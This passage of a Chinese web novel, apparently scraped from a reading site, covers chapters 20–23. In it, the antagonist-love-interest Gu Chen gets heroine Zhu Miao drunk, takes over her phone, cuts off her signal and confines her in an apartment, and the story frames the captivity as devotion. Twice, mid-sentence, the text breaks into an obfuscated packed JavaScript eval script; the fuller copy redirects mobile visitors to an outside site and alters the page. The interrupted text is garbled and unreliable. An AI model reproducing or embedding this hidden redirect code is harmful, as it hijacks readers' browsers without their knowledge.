没多久，祝渺看其他人就开始出现了重影，脑袋晕晕乎乎，让人昏昏欲睡。 祝渺用最后的理智思考：不会吧，这东西后劲怎么这么大……酒精度数绝对不是普通的酒。 在闭上眼彻底失去意识之前，她应该是听到了其他同学的声音： “渺渺，渺渺……你不会喝醉了吧？” “……你没事吧？” 那句“有事”还没说出口，再下一刻，她就失去了意识，不省人事。 …… 就在祝渺倾身向一旁倒去的时刻，顾忱一把扶住了她。 刘宇直接从座位上站起来。 顾忱冷冷看他一眼，“她好像喝醉了，我扶她去休息。” 刘宇不满：“你一个人行吗，我来扶她吧。” 刘宇刚要走近，顾忱手从祝渺腿下穿过，直接将人横抱起，径直走出房间门。 刘宇紧接着追了出去。 众人傻眼，不敢说话。 旁边就是一间单人卧室，顾忱直接将人放在床上。 祝渺身子轻轻落在床铺上，发出一声嘤咛。 刘宇跟进房间，皱眉看着顾忱：“你……” 他想说些什么，可又不知道怎么说。 看着顾忱替祝渺掖好被子，抬头看了他一眼，那眼神分明没有用一丝力道，眼底却有化不开的晦暗。 有句话说，想刀一个人的眼神是藏不住的，刘宇觉得他此时看他大概就是那种眼神。 可他到底哪里得罪他了……刘宇隐约感觉到一些不寻常的意味，可又想不太明白。 * 祝渺喝趴下之后，只觉得脑袋一整个晕晕乎乎，好像能时不时能听到顾忱的声音，又好像什么也听不到了，一切都在逐渐变远，消失。 再次睁眼，映入眼帘的是白茫茫的天花板。 想动一下身子，却感觉身体好疲倦，一动也动不了。 昨天到底怎么回事…… 涣散的记忆开始逐渐回笼。 祝渺眼神飘了一阵，总算稳定了视线，她扭头，视线落在床头不远处，那里正站着一个身影。 光线从床边的没拉紧实窗帘隐约透进来，晦涩的光影，逆着微弱的光线，这个身影轻微动了动。 接着一个声音响起，这人轻轻唤了她一声：“渺渺。” 祝渺没什么力气感受惊吓，仔细辨认了一番，听出来这人是谁。 这是“陆尘”的声音。 心中不安的情绪不知为何有些稳定下来。 “我……怎么了？”她试着开口，却发现自己的声音还有些破碎沙哑。 他淡淡道：“你喝醉了。” “……果酒……” 她的声音断断续续，但顾忱听明白了。 “是果酒，也是烈酒。” 他又补充道，“你放心，没有药，只是……后劲大了一点。” 祝渺：“一……”一点？你管这叫大了一点？ 把她整个人都喝倒了好吗？ 她有一瞬的无语，却发现有些不对劲，眼神环视了一圈。 昨天晚上她和大家一起玩桌游之前，逛了一圈整个房子，将可以睡觉的房间都看了一遍。 可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一般画家是照着现实绘画，而她现在这个房间，却是照着画作打造而来。 那她眼前这个人，怎么会知道这些…… 难道…… 祝渺看着他精致的脸，他骨相极佳，属于浓颜长相，有着一眼就让人看清分明的五官，乌黑的眸子，没有表情时略微清冷又带着脆弱的眼神…… 与游戏中的少年逐渐重合…… 不，不会吧，不可能，她不会还在做梦吧？ 还是喝迷糊了，脑子不太清醒？ “没错，是真的，渺渺。”他又仿佛猜到了她心中所想，给了她肯定的回复。 “我的名字，尘土的尘……第一天我就说了，没想到，你连我的名字都不记得。” 此刻，祝渺的第一反应居然是：这是记不记得名字的问题吗？正常人谁会把两者联系起来啊，何况这世上重名都人这么多…… “你，你真的是......”祝渺强撑着出声。 “渺渺。”他喊了她一声，“是我。” 祝渺难以言喻这时的心情，震撼、惊吓、难以置信的感觉侵袭心头，她的心脏都跳漏了好几拍，简直要吓晕过去。 事实上……她也确实再次晕了过去。 失去意识前，隐隐约约听到顾忱的轻声细语： “渺渺，你丢下我两次了……” “我不会再给你这样的机会……” 什么“两次”……？ 来不及听清他说什么，便彻底睡了过去。 顾忱伸手，又是轻轻替她掩好被角，温柔地整理了一下她额角的发梢。 “看来，以后不能让你喝酒了。” 21. 第 21 章 祝渺感觉自己做了一个很长很长的梦，梦里，她养了一个二次元萌娃，一声声地喊她“姐姐”，又嫩又可爱。 养着养着，萌娃一下子就长大了，长成了又高又俊秀的少年。 然后突然有一天，她的手机裂了，这二次元少年，就从手机里一点点把碎屏掰开，然后爬了出来…… 啊啊啊—— 怎么画风逐渐变成了恐怖片啊！ 祝渺内心惊叫，从睡梦中一下子惊醒。 垂死梦中惊坐起——她发现自己已经能动了。 心脏也在震惊中恢复了正常的跳动。 看了一圈周围，和二次昏迷前是同一个地方，住处没有变化。 这居然不是做梦……祝渺扶额，歇了口气。 房间里空荡荡。 他不在了。 祝渺从床上爬起来，拉开窗帘看了看，这里很高，起码有十几层。 哦对，游戏…… 如果没猜错，这里和游戏里的层高是一样的，十七层。 两个不同次元的世界，却发生了重叠，这让她很困惑。 她也有怀疑是自己被带入了游戏，但是此刻从窗户看出去，外面的场景应该并不是游戏世界。 难道真如她做的梦，是二次元角色爬到了三次元？然后打造了这个房间？ 她咽了口口水，试着打开房间门，没想到还真开了，没锁。 走出房间门，她一边震惊，一边绕了屋子一圈。没想到，这个房子的布局都和游戏里一模一样。 在游戏里，屋内的每个陈设都是她亲手打造的。 如果她刚才的猜测没错，那么现实中的这些都是被他还原出来的。 嘶，那他记忆力可真好啊，连这些细节都记得住…… 这种情况了，她居然还忍不住想夸赞他？ 他莫名其妙出现，又莫名带她来这样一个地方，怎么看也不像什么好事。 这属于什么，拐卖人口？非法囚禁？ 祝渺打了个寒碜，想要逃走，双手刚要碰上大门的把手，门忽然开了。 她缩回手，不自觉屏住呼吸。 大门缓缓打开，祝渺对上了顾忱那张清俊的脸。 祝渺一时间竟然愣住。 她用现在的清醒状态，仔细辨认了一番，这才真的觉得，顾忱那张脸，和游戏里确实是有好几分相似。 这难道就是……撕漫男？ 二三次元无缝切换的男人？ 慢着……重点跑偏了，他现在可是个危险人物！ 祝渺恢复了严肃的表情，往后退了两步，背部贴上桌子边沿。 桌上有个杯子。 若是他敢做出什么危险举动，她也会举起杯子砸过去。 顾忱凝视她片刻，便若无其事地将手中的袋子放下，开始换鞋，收东西。 祝渺：…… 他怎么还一副很自在的样子。 祝渺忍不住开口了：“那个……陆尘，我们聊聊。” 顾忱看她一眼，“嗯。” 没什么表情，但语气还算温和。 见他情绪稳定，祝渺直接问出心中疑惑。 “我现在有好几个问题。陆尘，你是……尘尘？现在这个房子是什么情况？是现实还是……是另一个世界？你带我来这里做什么？” 她一股脑问出来，已经尽量淡定了，可语气里有些不可避免的慌乱。 可他却沉默着，只看着她，似乎并不想回答她。 祝渺等了他半天，他才说：“这里是现实世界。” 他的眼中并没有恶意，让祝渺略微感到一丝放下心来。 “你这样，其他人找不到我，会出事。” “我已经帮你和他们打过招呼了。” “什么意思？”祝渺摸摸口袋，什么也没摸到，“你拿了我手机？” 可是，他怎么知道她的手机密码，难不成从她手机里跑出来，连带她手机任何信息他都知道？ 那她岂不是都没有秘密了？！现代社会，看人手机相当于裸奔……打住，这也不是重点。 她皱眉，被制约的不爽后知后觉地涌上来。 “你……” 祝渺的话还没出口就被他打断：“该吃晚饭了，想吃什么？我给你做。” 他说出口的话很暖，可语调却好像没有什么温度。 他慢慢靠近祝渺，深黯的双眼似乎没有焦距，看似平静的眼底里深藏着的，是难以捉摸的冰凉气息。 祝渺刚放下的心瞬间又悬了起来。 他走到自己身后，双手落在她的肩膀上，手指关节微微用力，一股不可抗拒的力道，将她带到了餐桌前，驱使她落座。 祝渺的胳膊上不由得起了一层鸡皮疙瘩。 “坐在这里，等我一下。” 他低沉的嗓音在身后响起，呼吸喷洒到她的后颈，很平静很稳。 可祝渺的气息却微微乱了。 然而下一刻，他又好像收敛了锋芒。 他平淡又温和地走到厨房，从袋子里拿出了很多东西，打开冰箱，一样样填满。 一会儿，厨房就变得满满当当……瞬间充满了生活气息，不知道的人看厨房，会以为是温馨一家人，在这里长住生活。 祝渺被这转折弄得一时间手足无措，还以为他要做什么穷凶极恶的事，没想到，他却是在乖巧地……下厨。 没弄清楚他的目的，祝渺干脆放下警备，耐下心，一边默默观察他，一边等着他，没多久，桌上就已经放好了……三菜一汤。 别说，色香味还挺俱全。 他照顾得周到，盛了米饭，准备了碗筷，放在祝渺桌前。 祝渺配合地拿起筷子。 这让顾忱露出了一个满足的笑：“以前是你照顾我，现在换成我照顾你。” 他还拿出了一个大盒子，拆开精致的包装，里面又是一个蛋糕。 顾忱为蛋糕点上蜡烛：“昨天是你的生日，对不起，我应该为你补上。” 祝渺：…… 吃不下了，谢谢。 顾忱却对她的反应视而不见，自顾自地说着。 “你给我第一次过的生日，是我最开心的生日，我当时想，我也要给你过。” “在那里我做不到，但现在可以了。” “我定制了一样的蛋糕，你尝一尝。” 他语气平淡，却能听出几分喜悦，他一直说的，大概是游戏里的世界。 祝渺觉得很微妙，这种感觉实在是很怪异。 她有些不确定，眼前这个男生，对现在这个世界的认知是否正确。 祝渺小心翼翼，试探地开口：“你……知不知道，‘那个世界’对我来说是什么？” 他不说话，祝渺沉了口气，做了下心理准备，自问自答：“我不清楚你遭遇了什么，但你所描述的那个世界，对我来说，是一个游戏世界。” 顾忱动作顿住，唇角微抿，半晌道：“所以呢？” 祝渺见他反应还算冷静，应该是明白自己在说些什么的，只是似乎有些抗拒。 她接着斟酌了一下措辞：“所以，在我的视角里，那是一个屏幕里的虚拟世界，而现在这个所处的世界才是真实的。你却说你是游戏里的尘尘……这太荒谬了，你能和我解释一下吗？” 她认为自己已经努力掩饰自己的慌张，尽量平静地说出这些话了，可是对面的少年气场还是逐渐冰冷了下来。 他嘴角微扬，露出一个嘲讽的笑容。 “没错，那对你来说只是游戏，可对我来说，却是真真切切的十年记忆。” 其实何止十年记忆，他在那个世界里循环往复了不知道多少年，多少次生死轮回，让他濒临崩溃。 只是对他来说，值得记住的只有那十年。 那最快乐，最温暖的十年。 却又突然在一瞬间戛然而止，彻底崩塌。 他的眼神柔软了一瞬，又转而冰冷。 在现实世界醒来后，他发现自己没办法将那个世界的一切抛之脑后了。 那种绝望的感受，十年与她相处的希望与快乐，已经真实印刻在他心中。 听完他的回答，祝渺内心沉重了些许，她早有猜测，却没想到真是如此——他真是尘尘。 她试想了一下。 也许在他的视角里，他们朝夕相处，相依为命，度过了漫长时光，她卸载游戏，可能对他来说是不告而别…… 她大胆猜测，这成了他来寻找自己的理由之一。 没想到，接受穿书这件事之后，她居然还要再次接受游戏角色穿到现实世界这回事。 诶？不对，他也没说自己是穿越的，要是凭空出现，怎么会有现在这么问完整的身份，还能造出一间公寓来？ 还没等祝渺开口询问他的真实身份，顾忱先开口了，只是说的话让祝渺冷汗直冒：“不过没关系，渺渺，我早已做好心理准备了，即使你忘掉过去发生的一切，我也会想办法再次和你永远在一起。” 祝渺：“……” 他想做什么？“永远在一起”这个词刚冒出来，祝渺就已经警铃大作：“你想干什么？” “我已经说了，和你永远在一起。” 祝渺头皮发麻，她能想到的永远在一起的方式只有……一起死！ 不是吧！不会吧！ 她不过就是玩了个游戏，结果游戏角色莫名其妙要拉着自己一块找死！ 这叫个什么事啊！拜托你清醒一点好不好！ 她本来就慌，此刻一下子不淡定了。 “可我只接触了这个游戏两个月，我根本不认识你啊！”她就是个无辜的游戏玩家啊！ “那对我来说都不是真的，那个时候在我眼里，就是个纸片人……怎么说……这也不是什么大过错，不至于要到这种寻死觅活的程度吧？！” 祝渺看着他反应平静，又觉得自己激动了，立刻打住低声下气：“……对不起，我不是想否定你的一切，我只是想告诉你，我 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她先是松了口气，又提了回去，不对……怎么可能没事？ 祝渺有种不太好的预感：“那接下来你要怎么做？” 顾忱一脸淡定：“放心，我只要你留下住在这里。” “能出去吗？” “当然不能。” 祝渺：？ “意思是，要把我关在这里？” 顾忱默了一瞬：“如果你非要这么理解的话。” 祝渺一脸不淡定：“……我是学生，我要去上课。” “接下来几天是运动会，不用上课。” “那才几天假？放完假，我总要上课的吧。” “我替你请假。” “然后被家人同学报失踪？” “理由需要我帮你编？也可以，这些你就不用操心了。” “……”尽管知道了他不是要自己命，但是要非法囚禁自己这件事，好像也没好到哪里去。 他顿了顿，沉下声，又喃喃道：“我不会再让你消失了。” “……” 祝渺没怎么仔细思索他最后那句话，只觉得脑瓜嗡嗡的，多少有些两眼一黑。 这一餐饭不欢而散，祝渺吃了两口，就要起身。 顾忱也起身拉住她的手，她警惕地看向他。 他却只是拿出一台手机，递到她手中。 那是她的手机。 他居然还她手机？ 祝渺拿过，走进房间躺回床上，谨慎地关了门，打开手机看消息，才看到昨天到今天同学朋友给她发的消息。 而她一一回复了“已经回家了”“很好没事”之类的信息。 显然这都是顾忱替她回复的。 ！！替她回复！！ 说明他很有本事，可以自如地解锁她的密码，靠简直太恐怖了！ 慢着……手机居然没断网？ 既然手机还在她手里，她还可以和外界联系，那她可以把现在的情况告诉别人啊。 立刻开始编辑求助文字，想给闺蜜发信息，没想到，刚发出去的消息却都成了感叹号。 祝渺：？！怎么回事？ 仔细一看才发现，刚才手机状态已经转成没有信号了。 是被某个家伙刻意屏蔽了！ 刚刚和他争执都没动怒，可断网，实在是不能忍。== 祝渺努力压下心中乱七八糟的惊愕与怒气，闭上了眼。 由于醉酒昏迷太久睡得太多，她没什么睡意。 干脆开始重新思考现在的境遇，究竟是怎么一回事，一切发生得太突然，她还觉得很不真实，像做了个梦。 这个“陆尘”，从现在表现出来的状态来看，应该就是她在游戏里养大的小可怜，他知道游戏里的一切，也认识她。 可问题来了。 第一，他与小可怜究竟是什么关系？虚拟人活了，还是他原本是现实中的人？ 他能入学成为她的同学，又能在短期内在现实世界打造出这样一间房子，这是一个纸片人到现实世界做不到的，因此第二种可能性更大些。 那他又是如何与游戏产生联系的呢？ 第二，他怎么会认识她？能准确地来到她的身边，找到她？ 目前看来，一切都是蓄意为之，甚至昨天给她递的酒，也是提前准备好的。 要么他恰好见过或认识她，要么就是他有个很厉害的马甲，有权有势，一下子就调查出她是个什么人了。 第三，他布置这个房间，他说，不会让她消失了，是什么意思？ 是因为她的卸载，她在他的世界消失了，于是才害怕她再次消失，执着地找到了她……如果真的是这样，这种莫名的执念，又是从哪来的？那个世界到底发生了什么？ 她有太多的疑问不能确定，他的背后一定有什么她意想不到的事。 这几个问题，她一定要找机会说清楚。 22. 第 22 章 祝渺思绪混乱之时，门外响起敲门声。 下一秒，顾忱就开了门。 他一进来就看到祝渺以一种睡没睡姿的样子躺在床上……装睡。 看来，她似乎没有他想象中那样害怕和厌恶自己，尽管她并不友善，但已经比他预料的情况好了许多。 他已经想过了最坏的结果。 现在这样，她终于能“平静”地在自己身边了，反倒是让他心里有些隐隐的……愉悦？ 顾忱端进来一杯茶，递到祝渺身边。 “醒酒茶，喝一点。” 祝渺起身看着他，并没有接过茶杯。 “我可不敢喝，谁知道里面有些什么。” 她冷着脸看他，顾忱一言不发，只是眼神固执，像是盯上猎物的眼神，执拗地看着她，等着她接下自己的水。 祝渺：…… 被他盯得起了一身鸡皮疙瘩。 他古怪得很，祝渺有些捉摸不透，但是不知道为什么，她潜意识里隐隐觉得，他不会真的对她怎么样。 难不成是因为，他们多少还是有点母子情谊？-- 祝渺被自己恶寒到了。 过了许久，当她差点要放弃和他较真的时候，他却突然闭上了眼，再睁开眼时，那固执的眼神就忽然变了。 他风轻云淡地放下杯子，转身离开，只留了一句“好好休息”，就轻声关上了门。 关上门的瞬间，世界乍然安静下来。 祝渺一下子松弛下来。 心中五味杂陈，有些说不清的滋味…… 祝渺看着天花板，一直到深夜才睡着。 第二天起床，顾忱就又“没收”了她的手机。 祝渺对此有些无语：“那你昨天还我干什么？” “担心你睡觉闷。” “……” 怎么，您还挺有人性哈？ 可是没有信号没有网络，这手机和破铜烂铁有什么区别啊。 大概是感受到祝渺的无语，顾忱想了想又补充：“你的家人朋友已经放心，你也可以安心待在这里。” “……”她不安心，安心不了一点。 想起昨天思考的几个问题，她决定快刀斩乱麻，直接都问出口。 关于他的身份、由来、目的，等等。 问完，又觉得自己问题有点多。 “我的问题多了点，你可以……慢慢回答。”祝渺等着他的回答。 然而他只是安静地看了她两眼，似乎在抗拒什么，然后慢吞吞回了一句：“你会知道的。” 祝渺：“……” 搞什么神秘啊？ 然而接下来两天，祝渺都没有从他那获得什么有用信息。 顾忱给她买齐了所有的日常用品，包括她换洗的新衣服，生活用品，甚至连内衣裤都……咳，居然还很合身。 如果不是被他强行关在这房子里，别说，还真是挺舒适的。 可惜，整间屋子没有什么其他娱乐设施。 他每天做的最多的，就是拉她一起做些……日常宅家活动。 比如看看电视，做做饭，看看书，听听歌…… 总之就是，非常无聊。 他的状态也非常平静。 祝渺不敢相信，她竟然连着过了整整两天没有网的生活了，还和一个来路不明的家伙共处一室同居了两日。 她心里烦，看到顾忱的身影更烦，但下一秒，看到顾忱的脸……忽然好像没那么烦了。 不对劲，她一定是被他的外表欺骗了。 就算他看着一脸无害、做家务又勤快、每天体贴地为她端茶倒水…… 可是，无事献殷勤，非奸即盗。 祝渺警告自己，千万不能掉进蜜罐陷阱，要透过现象看本质，他这可是非法囚、禁！ 于是，她一脸冷漠，继续秉持着不理睬他，把他当空气的原则，坐在沙发上看电视。 她坐在沙发的一头，而顾忱坐在另一头，二人之间仿佛隔着一条银河系。 不同的是，祝渺紧盯屏幕，而顾忱……紧盯祝渺。 祝渺之前就觉得，他的眼睛生得很明亮很好看，可是总是习惯性地微眯，或是垂下眼帘。现在才察觉到，这可能是为了掩饰他眼底的阴沉和暗芒。 现在不需要掩饰了，他眼角的血丝就让人看得清清楚楚，眼底那些不太正常的狂热也时不时涌现出来。 她又汗毛竖起。 终于被盯得受不了了，祝渺忍不住开口：“你……不累么？” “不累。”说完，继续看着她。 祝渺：“……”她心累。 就这么下去好像也不是办法，她越是平静，他就越放肆。 她一直很想激他一把。 祝渺皱眉，做出忍耐到极点的样子，烦躁开口：“你把我关在这里，又什么都不说，到底要这样到什么时候？难不成把我关在这一辈子？” 顾忱沉了沉眼眸，沉默不语。 “你说话！” 祝渺拿起桌上杯子，想砸一下桌子给自己壮胆，一个没拿稳摔到了地上，“砰”地一声炸开一声脆响，碎了一地玻璃渣。 ……对不起，她不是故意的。 但摔都摔了，不能白浪费了这个氛围。 她抬高音量：“我告诉你，再这样下去，不出一礼拜，不，不出三天，我一定会疯。” “你以为这么关住我有用吗？我会和你吵和你闹，还会找机会逃跑……这些就算了，把我逼急了，大不了我就从窗户跳下去！” 说完空气就静默了下来，祝渺正心虚自己是不是演技不够到位，情绪不够饱满……谁知，顾忱脸色一僵，脸上终于有了些波澜，假装的平静也皲裂了，冲上来直接捂住她的嘴。 他严肃认真地看着她，眼里的血丝看得更清晰了，温和的语调却充斥着警告的意味：“那我就把你手脚都绑起来，让你无处可逃，你最好别这么做。” 祝渺瞳孔颤了颤，顿时噤声。 顾忱威胁完，语气平缓，沉声道：“以后不要说这种话。” 祝渺见状赶紧认怂，也没推开他，就抬头略微倔强地看着他，细声说：“那你放了我……或者和我聊聊。” 一说到这，顾忱就放开手，撇开头不说话了。 就像叫不醒一个装睡的人，她也无法让一个不愿开口的人开口。 既然如此，祝渺也不理他了。 顾忱起身走向那一地的玻璃渣，也不拿工具，直接徒手捡，甚至微微用了点力，鲜红的血染上了他的手指。 祝渺察觉到时，他已经收拾得差不多了。 她被他手上鲜艳的赤红吓了一跳。 “你的手……你用手捡的？” “嗯。”他只应了一声，就回到沙发上继续坐下。 “有创可贴吗？” “没有。” “那碘酒呢？” “也没有。” “那你……” 祝渺没说完，顾忱扭头看着她，眼神危险：“你在关心我？” 祝渺瞬间不说话了。 关心什么？他要自己作，也不关她的事。 祝渺噤声了，继续看剧。 沉默持续蔓延。 一直到，电视上正好播放到一个熟悉的脸，正是他们一起采访过的演员张铭——也是本文男主角。 祝渺忽然在荧幕上见到熟人，不自觉地留了神。 哪知道，身边的人居然极为敏感地关注到了这一点。 他忽然神色凌然，还直接伸手挡住了她的眼睛，用的是没受伤的那只手。 祝渺：“……” 一下捂嘴一下捂眼睛，还捂上瘾了是怎么着？ 这次祝渺推开他的手：“干什么？” 顾忱：“不许看他。” “为什么？”祝渺又好奇又迷惑。 半晌，他回答：“你的眼里，只能有我。” 祝渺：“……”搞什么？她鸡皮疙瘩又起来了——这次是被肉麻起来的。 祝渺任性嘴欠人设贯彻到底：“不可能，我的眼里包罗万 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“不止是游戏。” “什么？” 祝渺没懂他这句话什么意思。 只是祝渺觉得，他好像陷入了一种莫名的情绪中……失落？失望？ 她说不上来。 他淡淡道：“你果然还是不记得。” 不知道第几次，他们又陷入无尽的沉默，这次还伴随着极其强烈的低气压。 这天夜晚，闲着没事干，祝渺又早早躺平。 没想到，顾忱走进房间，在祝渺床边的地毯上直接坐了下来。 祝渺躺着一侧身，就能正好与他的视线对齐。 祝渺：“……”怪吓人的。 祝渺：“什么事？” “渺渺。”他低声喊她。 他这几天一直这么喊她，这让祝渺觉得很怪，可又不知道哪里怪——似乎有点太亲密了。 他继续道：“我不是尘尘，也不是陆尘。” 祝渺眼皮有点跳，有种不太好的预感，但还是静静听着。 她倒要看看他能说出什么惊天地泣鬼神的言论来。 “我不叫陆尘，我姓顾，叫顾忱，热忱的忱——这是你想要的其中一个答案。” 祝渺一下子懵了。 这熟悉的名字，刻在她记忆深处的名字。 祝渺瞳孔放大，脚趾忍不住缩了缩。 顾……顾忱？ 慢着，顾忱，是她认知中的那个顾忱？！ ！！！ 她很希望不是，但现在的状况好像没法不是。 祝渺一骨碌差点从床上掉下去，艰难稳住了身形。 他这马甲是剥洋葱吗？！剥了一层还有一层！一会儿游戏NPC，一会儿书中大反派！ 顾忱……这个熟悉又陌生的名字，是她记忆里那个顾忱吗？ 她已经多久没有听到过这个名字了呢？ 已经九年了。 这一刻，她脑海里冒出的不是书中那个反派顾忱的形象，而是九年前那个深居豪宅眼神懵懂的小少年。 他此时眼神淡漠、面无表情的模样，和多年前的那个少年逐渐重叠。 她尝试说点什么话回应他，没想到脱口而出： “你已经……长这么大了啊。” 顾忱听到，愣了愣，轻笑一声，眼里总算有了些光彩：“原来，你还没有彻底忘了我，我还以为，你什么都不记得了。” 祝渺：“……”废话，变态反派谁能忘啊？ 你早说自己是谁，还用得着每天神神叨叨这么久？！ 祝渺失语，大脑宕机，脑中似乎有一堆弹药轰隆隆爆炸。 最终只剩下两个字：完了。 这下彻底完了。 她躲了这么多年，居然还是遇上反派了。 23. 第 23 章 祝渺是真凌乱了。 尘尘，陆尘，顾忱……他最终的真实马甲居然是自己躲了多年的大反派。 怪不得他能一下子找到她，还能轻轻松松在短期内搞定这么个装修复杂的公寓。 这样，她之前的困惑就能解开一部分了。 可是，她还是不明白：“为什么……现在才告诉我？” 他明明有这么多机会可以说，却偏偏要隐瞒她这么久。 “或许……是害怕。”顾忱思考了一会儿，给出这个答案。 “害怕什么？” 怕什么呢？他也弄不明白。 或许是怕她不记得自己，又或许是怕她记得自己，然后像过去，又像此刻一样……变得更加抗拒和讨厌自己，然后逃离自己。 比如此刻，看着她面对自己时复杂的眼神，那里面有太多他读不懂的情绪。 他不由自主地抿紧了唇。 然后，终究是起身离开了。 他离开后，祝渺独自在床上躺着，静静地看着天花板，陷入了沉思。 这中间到底发生了什么？怎么会这样，这个世界变得越发错综复杂起来。 她完全不知道该怎么办才好，也不知道该怎么面对他。 幸运的是……第二天，顾忱居然破天荒地不在家，祝渺发现这一点时松了一口气，又有些困惑，他居然会不在？ 她趁机试着开了一下门，果然，门锁得死死的，根本打不开。 她一个人在家无所事事，只能看电视消遣消遣。 随便挑了一个新闻频道，正好在播报一则新闻，出现了让祝渺熟悉的字眼——顾氏集团。 【据悉，此前因车祸昏迷不醒的顾氏集团二公子，在经过多次脑机治疗后，已经在三个月前苏醒，并且据治疗的主治医生说，脑机治疗暂时没有发现后遗症……】 祝渺忽然记起来了，之前她在手机上看到过的那个新闻说，顾家小少爷昏迷了，当时还有很多人在评论区里阴谋论顾家的事。 她一激灵，忽然想明白了什么。 推算一下，她卸载游戏的时间，正好是顾忱从昏迷中苏醒的时间。 大胆猜测一下，顾忱和游戏，与他的昏迷脱不开关系。 然而，猜测是有了，她还需要向他证实和了解具体情况。 可惜……一天过去了，他还没回来。 一直等到晚上，祝渺又无聊地在沙发上看着电视睡着了。 直到一只手从她的后背伸过，然后一瞬间的失重感让她醒来。 ——她被人抱了起来。 她的意识逐渐回笼，悄悄睁开眼，看见顾忱精致的下颚，有棱有角的下颌线，却并不锋利，轻轻抿着的唇，不像真人，像画作里勾勒出来的弧度。 这个死亡角度看着居然还很帅…… 小时候颜值就高，长大了居然没长残，还更好看了。 祝渺心里默默感叹了一下，这才意识到，她离他的脖子只有几寸距离，连呼吸都要喷洒在他的喉间……自己被他如此亲昵地抱着，居然没有什么抗拒感。 顾忱将她抱进卧室，卧室的灯还关着，月光和卧室的灯光映入，才使整个房间变得有些光线朦胧。 顾忱轻手轻脚将祝渺在床上放下，不知为何，祝渺忽然觉得他格外温柔。 她的背贴近床的一瞬，她睁开眼，对上了顾忱的目光。 顾忱就这么在她面前顿住了，眼里似乎有些错愕。 “你……醒着。”他低声道。 祝渺：“刚刚醒……我今天一直在等你。” 顾忱站直了身：“为什么？” 祝渺坐起身，半倚在床头，“我看到新闻了，是关于你昏迷和醒来的报道。所以，关于游戏的事情，你能给我解释一下吗？是不是和你的昏迷有关系？” 顾忱沉默不语。 “回答我，顾忱。你知道我为什么要等你，我在等你的答案，我想知道这一切。” 顾忱坐到了一旁的沙发上，乌黑的眸子在黑夜里静静凝视着她。 有一丝昏暗不定的光线落在他眼里，像落进深不见底的湖泊。 可面对他这副模样，祝渺也依然坚定地看着他。 她不可能一直和他这样相处，她必然要了解他这些年发生了什么，才能知道怎么解决现在的困境，想办法改变他……或者说，她才能判断这个“大反派”，现在究竟发展到什么阶段了。 他垂下眼眸，终于愿意开口：“好，我告诉你。” 其实，他已经作好准备了。 他语气稳定，似乎开始讲述一件与自己无关的事。 “一年前，我出意外陷入昏迷，失去了自我意识，不知道为什么进入了那个虚拟世界。我并不知道那是游戏世界，也不知道自己是谁，只是被迫一遍又一遍循环往复地过着只能活到十八岁，然后悲惨死去的人生，受尽折磨，周而复始，也不能反抗。” “直到遇见你。渺渺，你不知道，你很特别，我一下就感觉到，你是可以改变我命运的人。果然，我向你求助，你答应了我，改变了我数年如一日的生活，让我摆脱了控制，也让我第一次觉得……焕然新生。” “也许对你来说，那段时间过得很快，可在我的记忆里，那是货真价实的十年，有你的十年……我的记忆里却全是你，以至于，你消失后，那个世界崩塌了。” “我恢复了意识，可我只想回到，只有我们两个人的时候。” “也许你说得对……我早该分清两个世界，分清这才是现实。可是……我发现，我做不到了。” 尤其在找到她以后，发现她那么受欢迎，身边有这么多朋友，甚至有其他男生陪伴在她身边……原来对他来说她是唯一，可对她来说他却不是。 这个令他难以接受的世界，不如……不如消失。 只要让他回到那个世界，就算让他舍弃现实的一切，他也愿意。 他的语气终于开始有了一些波动。 “渺渺，你答应过我，不会离开我的，我们会永远在一起……可你食言了。”他好像有点委屈。 祝渺听着他的讲述，一时间不知道该如何回应他。 她不知道自己的一句话，给他造成的影响会这么大。 现在回过头来安慰他？告诉他，她能理解他？这听起来很虚伪。 刚才，她跟着他的叙述，想象了一下他的遭遇，虽然不能完全共情，可她的心里还是有些发闷，像是被人一把揪住了，喘不上来气。 可说到底，她还是不能完全理解他的，人的悲欢本就无法完全相通，她没有经历过这些，也没有资格安慰他和理解他，那太过轻描淡写。 在她看不见的那些黑暗里，他遭受的一定超出她的想象。 她的眼睛忍不住有些酸涩：“对不起，我不知道……” 可现在说又有什么用呢，她已无法改变过去：“但那都过去了……” 回到现实中来，你还有很多时间，你会有自己崭新的生活…… 还没等她说完，顾忱就突然走到她面前，在床边坐下，一把拥住了她。 他用力的手指关节在她的后背轻轻摩挲，下颌亲昵地靠在她的脖颈旁。 祝渺下意识要躲，他便暗暗用力将她固定住，往她脖子弧度里靠得更近了，甚至是不留缝隙地贴紧。 温热的呼吸喷洒在她的耳边，他低声道：“那些都过去了，所以，渺渺，从现在起，我们会永远在一起。” 祝渺：“……”等下，什么，永远？什么永远？ 她的眼泪瞬间憋了回去。 不是，她不是这个意思啊！怎么又绕回来了？ 祝渺忽然想到什么，瞳孔有些放大，露出震惊的神色。 即使她救了他，他对自己这么执着，也很不合理，难道是因为他对她…… 对于自己产生这样的念头，祝渺自己都有些难以置信。 “顾忱，你是不是对我……”她说不出口。 “对你什么？”顾忱不解。 不可能，绝对不可能，他可是文中那个变态反派啊，折磨自己到死，怎么可能喜欢自己！ 而且，被反派喜欢……这听起来怎么也不是一件好事吧？！ 可是她又忍不住想问。 “你该不会是，喜……喜欢……”可恶，太羞耻了，实在是说不出口！ 在她看不见的地方，顾忱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467285|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里闪过了一丝恍然，“喜欢”…… 又是这个熟悉的词，这是她消失前，他来不及说出口的话。 顾忱轻笑一声：“喜欢你可以让你留在我身边吗？如果可以，那我就是喜欢你。” 祝渺：“……”不，你不是。 沉默良久，顾忱抱着她的胳膊又收紧了几寸，然后第n次固执地强调：“渺渺，我不会再让你离开我。” 祝渺听了，两眼发黑，挣了挣，没挣开。 